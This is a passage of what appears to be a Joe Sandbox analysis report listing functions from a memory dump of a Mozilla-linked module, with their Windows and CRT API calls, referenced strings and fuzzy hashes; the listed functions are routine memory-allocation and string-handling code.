malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

Details, xrefs: 6C9B1925
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
name, xrefs: 6C9B1939

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

